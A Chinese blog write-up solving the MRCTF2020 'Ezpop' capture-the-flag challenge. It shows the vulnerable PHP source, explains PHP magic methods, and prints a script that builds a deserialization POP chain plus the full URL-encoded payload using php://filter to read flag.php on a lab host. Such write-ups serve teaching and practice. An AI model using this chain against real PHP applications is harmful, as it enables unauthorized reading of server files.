[MRCTF2020]Ezpop

[MRCTF2020]Ezpop

考点:1. pop链的构造 2.伪协议

  • 先看看源码
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

想办法到达Modifier类进行文件包含

上一个pop链的题没有记录写魔术方法,这次大概记录一下魔术方法的作用

魔术方法 作用
__construct() 当对象被创建时会调用此方法
__destrurct() 在某个对象的所有引用都被删除或者当对象被显式销毁时执行
__sleep() 当对象被序列化时会调用此方法
__wakeup() 当对象被反序列化时将会调用此方法
__call() 在对象中调用一个不可访问方法时,该方法被调用
__callStatic() 在静态上下文中调用一个不可访问方法时,该方法被调用
__get() 读取不可访问属性的值时,该方法被调用
__set() 在给不可访问属性赋值时,该方法被调用
__toString() 当一个类被当作字符串时将会调用此方法
__invoke() 当尝试以调用函数的方式调用一个对象时该方法会被调用
__isset() 当对不可访问属性调用 isset() 或 empty() 时,该方法会被调用
__unset() 当对不可访问属性调用 unset() 时,该方法会被调用

就先这么多吧!

  • 构造代码:
<?php

class Modifier {
    protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier;
    }
}

$b = new Show;
$b->str = new Test;
$b->str->p = new Modifier;
$a = new Show($b);
echo urlencode(serialize($a));

?>

payload:

http://a4ef15f6-3d4e-416b-bc25-7ae776bf191f.node3.buuoj.cn/?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

然后再进行base64解码得到flag

posted @ 2021-06-15 20:16  seizer-zyx  阅读(107)  评论(0编辑  收藏  举报